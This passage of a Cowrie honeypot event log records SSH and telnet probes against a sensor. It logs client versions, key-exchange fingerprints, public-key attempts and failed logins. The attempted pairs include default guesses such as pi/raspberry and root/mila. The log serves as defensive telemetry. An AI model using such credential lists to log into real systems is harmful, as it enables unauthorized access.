t-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:24.543118Z","src_ip":"205.210.31.240","session":"857a2b8465bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.46228504180908,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:26.630253Z","src_ip":"128.199.8.54","session":"a86f70bf298d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.50.69.251","src_port":44216,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb750e09c0e1","protocol":"ssh","message":"New connection: 38.50.69.251:44216 (10.17.0.5:22) [session: bb750e09c0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:32.686971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u1","message":"Remote SSH version: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:32.690313Z","src_ip":"38.50.69.251","session":"bb750e09c0e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.50.69.251","src_port":44226,"dst_ip":"10.17.0.5","dst_port":22,"session":"e03d001b3bbd","protocol":"ssh","message":"New connection: 38.50.69.251:44226 (10.17.0.5:22) [session: e03d001b3bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:32.719771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u1","message":"Remote SSH version: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:32.724435Z","src_ip":"38.50.69.251","session":"e03d001b3bbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"78c05d999799066a2b4554ce7b1585a6","hasshAlgorithms":"sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 78c05d999799066a2b4554ce7b1585a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:32.786969Z","src_ip":"38.50.69.251","session":"bb750e09c0e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"78c05d999799066a2b4554ce7b1585a6","hasshAlgorithms":"sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 78c05d999799066a2b4554ce7b1585a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:32.809404Z","src_ip":"38.50.69.251","session":"e03d001b3bbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:32.965195Z","src_ip":"205.210.31.240","session":"857a2b8465bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberryraspberry993311","message":"login attempt [pi/raspberryraspberry993311] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:33.130589Z","src_ip":"38.50.69.251","session":"e03d001b3bbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:33.135263Z","src_ip":"38.50.69.251","session":"bb750e09c0e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:34.224693Z","src_ip":"38.50.69.251","session":"e03d001b3bbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:34.230068Z","src_ip":"38.50.69.251","session":"bb750e09c0e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":32860,"dst_ip":"159.203.135.109","dst_port":22,"session":"d33e0c142d54","protocol":"ssh","message":"New connection: 77.94.47.83:32860 (159.203.135.109:22) [session: d33e0c142d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:43.021819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:43.025786Z","src_ip":"77.94.47.83","session":"d33e0c142d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:43.136513Z","src_ip":"77.94.47.83","session":"d33e0c142d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mila","message":"login attempt [root/mila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:43.468819Z","src_ip":"77.94.47.83","session":"d33e0c142d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39426,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8c39085fb99","protocol":"telnet","message":"New connection: 94.23.66.112:39426 (10.17.0.5:23) [session: a8c39085fb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:43.681337Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:44.581940Z","src_ip":"77.94.47.83","session":"d33e0c142d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.46.134.148","src_port":59266,"dst_ip":"10.17.0.5","dst_port":22,"session":"92f7c2e8a42b","protocol":"ssh","message":"New connection: 198.46.134.148:59266 (10.17.0.5:22) [session: 92f7c2e8a42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:49.812851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:49.817813Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:49.846497Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:79:e2:de:26:1b:e5:72:e0:39:20:03:4b:e6:37:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFbNturnpvMqbSMvTnTEby3bmbDY+qd8R1Q6qpcedUIrjXX/J2vDQXIqUixymDuOLK9+tnFGWLjRSWSXP2YBRPTYESTRi0l6bhjAkfXrfEsP94wefBVoSTApRE/miBKmt0yPPGgWRnDmJm99+Kq5tD4sQNN/N3R1v0RST+S8MKwoHRaZK8S/zhG3vXYLbvS8dVXhWEbV/E69C4BFdijXyipNgXTggrGN42c8/V/1rfTtVAzMSEhydWi7T3bfkEek9xkELt6iLm9MzO60MMieze6XhH/9J0jxfTYnq+3S23rqp13wFueUb0pZ2I8EAA7hGvyWUg+eakOgNuRfuf1NUCx3OCkKI6J9MeEh+9S8tysIwATIMqEaPqj5YdObhlSNrerf9vDMZwL6zOg3nbEgA9Z7kmjDA0JfruTydynvmT+pT6fZXtrUkyYTjzh5kPWucl4vwTC3sdwdRbMx47s7zjaaG3pG461Sr4kqOGypFkxu0SvfjnXGwK4jSY9Om3xKM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:79:e2:de:26:1b:e5:72:e0:39:20:03:4b:e6:37:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:49.968008Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:79:e2:de:26:1b:e5:72:e0:39:20:03:4b:e6:37:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFbNturnpvMqbSMvTnTEby3bmbDY+qd8R1Q6qpcedUIrjXX/J2vDQXIqUixymDuOLK9+tnFGWLjRSWSXP2YBRPTYESTRi0l6bhjAkfXrfEsP94wefBVoSTApRE/miBKmt0yPPGgWRnDmJm99+Kq5tD4sQNN/N3R1v0RST+S8MKwoHRaZK8S/zhG3vXYLbvS8dVXhWEbV/E69C4BFdijXyipNgXTggrGN42c8/V/1rfTtVAzMSEhydWi7T3bfkEek9xkELt6iLm9MzO60MMieze6XhH/9J0jxfTYnq+3S23rqp13wFueUb0pZ2I8EAA7hGvyWUg+eakOgNuRfuf1NUCx3OCkKI6J9MeEh+9S8tysIwATIMqEaPqj5YdObhlSNrerf9vDMZwL6zOg3nbEgA9Z7kmjDA0JfruTydynvmT+pT6fZXtrUkyYTjzh5kPWucl4vwTC3sdwdRbMx47s7zjaaG3pG461Sr4kqOGypFkxu0SvfjnXGwK4jSY9Om3xKM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:49.970522Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:8f:b4:d0:be:a4:0a:38:c5:97:c4:e4:76:80:66:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGSyADtmlnSsymRJmRmOY1RQyCKBxEpDS4Hgsp9t7QApnJr0+7Dk8tiLr8zE/ILAJzbp3cT3g7TDybqbSSzkfqund4Zky9EfqHCplHg2d21NBqXKrFMYFAFaiSx885eFBFuNq6/nsNpldcmGKNkDGye5ln+RQw2SCibC+KMujCI5zm6X7c/cOXbSuHYLArBcavWMLXHfb3U9vkKU4ru3VQcYltt3TZj7p7IRSrCwh5h/qC9BeHnzwpmckkix2Z+LSSGaQKASIZ3NCUpd2cIg6JlyLHkpB6+Q2S+XW1Wf1crhmLCKwd+fhQEW+y2oKJKCy6cLMbvw0H7oCbDYfYLMcx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:8f:b4:d0:be:a4:0a:38:c5:97:c4:e4:76:80:66:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:50.000618Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:8f:b4:d0:be:a4:0a:38:c5:97:c4:e4:76:80:66:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGSyADtmlnSsymRJmRmOY1RQyCKBxEpDS4Hgsp9t7QApnJr0+7Dk8tiLr8zE/ILAJzbp3cT3g7TDybqbSSzkfqund4Zky9EfqHCplHg2d21NBqXKrFMYFAFaiSx885eFBFuNq6/nsNpldcmGKNkDGye5ln+RQw2SCibC+KMujCI5zm6X7c/cOXbSuHYLArBcavWMLXHfb3U9vkKU4ru3VQcYltt3TZj7p7IRSrCwh5h/qC9BeHnzwpmckkix2Z+LSSGaQKASIZ3NCUpd2cIg6JlyLHkpB6+Q2S+XW1Wf1crhmLCKwd+fhQEW+y2oKJKCy6cLMbvw0H7oCbDYfYLMcx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:50.003576Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:90:43:f9:93:2a:f2:63:b9:5b:29:94:57:6f:74:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5bpbIYkkar+rMjWKiQWMOeSmfcEeO4X8RGaiV874LJRjtkV4/1f8GtkwORm3AVWredDnxQTjRrGoWGdkaQk/78uRElQzuqnceRyfrnD7MaeowdS9MzWQXBLLlW9sJBb1TpBkcaJwWUfxKwSHqcqLIlfwp9v5fJlZwnmXnblBEqFoIFYM/3w7t1KMEz0352tUUyumvmoqUPq1Wt+k9FnSjgdzWEdWVfdADw7raubK+O1HBpuX7p9C1UWfyEHK6v/hg0Gtd7arHRfksBBbDO07PjSlHDiRGseXWTYxgRuE5Fe76LcVvvIIBg/CpuBn2qOj10SsJrcZ/UKeGLGwTbRjWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:90:43:f9:93:2a:f2:63:b9:5b:29:94:57:6f:74:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:50.032742Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:90:43:f9:93:2a:f2:63:b9:5b:29:94:57:6f:74:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5bpbIYkkar+rMjWKiQWMOeSmfcEeO4X8RGaiV874LJRjtkV4/1f8GtkwORm3AVWredDnxQTjRrGoWGdkaQk/78uRElQzuqnceRyfrnD7MaeowdS9MzWQXBLLlW9sJBb1TpBkcaJwWUfxKwSHqcqLIlfwp9v5fJlZwnmXnblBEqFoIFYM/3w7t1KMEz0352tUUyumvmoqUPq1Wt+k9FnSjgdzWEdWVfdADw7raubK+O1HBpuX7p9C1UWfyEHK6v/hg0Gtd7arHRfksBBbDO07PjSlHDiRGseXWTYxgRuE5Fe76LcVvvIIBg/CpuBn2qOj10SsJrcZ/UKeGLGwTbRjWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:50.036422Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:2a:94:ec:0f:cb:3c:23:40:95:20:17:ff:15:1a:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQnVMAX90g+IKDg8lvQXLdkN4Pp1jS5EYH5TCTf/YPlttr3K3jiiUttWIH4Ts9a1Fj/ySwffOP44E0SJj5vU7+omvRsJJK2+5OM0vGyIDsuSqEin3M8wBK1063oDanDxtyy3YZCqtTNNpnl0+NUZgg5o0VHCXh18e2f43txl/gL7xrQE8RyK/jxO3e3IdtUJ6XTCyl9IoVD//41OcuLtgXPRE84ldRJhGRuuH/sSs7/1yq5gwglnKt9D0/itl9GE2y7Yw9yFI74PzC0n3m3bvFv0cqHuUJ0EHwFkRPvUtN34GphcLAR3HhCUqs8QPWqx8DkZk7o88olqKdUsUMr//8eHpITDGOODKRN1IzhQxzfVqS3TMVe3ww5GeQgI5xMnniNeL/f3c+NW/NI5oiyeoShD0hLqC9DXcdT1t9aS+UXqJoffAxFEtor1VlYiG8Wt4dxAnRy/DPCWcAQwScfCC5XRHH5nZklLSZCWMo6xELK3iGe+zp5Y1yNUCEnsKJKbeMgLPEy3QVvGoY1/08d4p9PlW8ptDcOSHE3BBHJt+iDPuhFQEmkEffaCdgZ8pxj22D0PRJyH2HtvxUbZi90igEIRM9jtZFR31xLof/6u8wENAiatMB9b0cyrHA8yQF+wq8Vsveh2j/pOOy+QCB23a3KOdzQkNLQd3qOqO955+LLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:2a:94:ec:0f:cb:3c:23:40:95:20:17:ff:15:1a:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:50.065827Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:2a:94:ec:0f:cb:3c:23:40:95:20:17:ff:15:1a:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQnVMAX90g+IKDg8lvQXLdkN4Pp1jS5EYH5TCTf/YPlttr3K3jiiUttWIH4Ts9a1Fj/ySwffOP44E0SJj5vU7+omvRsJJK2+5OM0vGyIDsuSqEin3M8wBK1063oDanDxtyy3YZCqtTNNpnl0+NUZgg5o0VHCXh18e2f43txl/gL7xrQE8RyK/jxO3e3IdtUJ6XTCyl9IoVD//41OcuLtgXPRE84ldRJhGRuuH/sSs7/1yq5gwglnKt9D0/itl9GE2y7Yw9yFI74PzC0n3m3bvFv0cqHuUJ0EHwFkRPvUtN34GphcLAR3HhCUqs8QPWqx8DkZk7o88olqKdUsUMr//8eHpITDGOODKRN1IzhQxzfVqS3TMVe3ww5GeQgI5xMnniNeL/f3c+NW/NI5oiyeoShD0hLqC9DXcdT1t9aS+UXqJoffAxFEtor1VlYiG8Wt4dxAnRy/DPCWcAQwScfCC5XRHH5nZklLSZCWMo6xELK3iGe+zp5Y1yNUCEnsKJKbeMgLPEy3QVvGoY1/08d4p9PlW8ptDcOSHE3BBHJt+iDPuhFQEmkEffaCdgZ8pxj22D0PRJyH2HtvxUbZi90igEIRM9jtZFR31xLof/6u8wENAiatMB9b0cyrHA8yQF+wq8Vsveh2j/pOOy+QCB23a3KOdzQkNLQd3qOqO955+LLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:50.068140Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
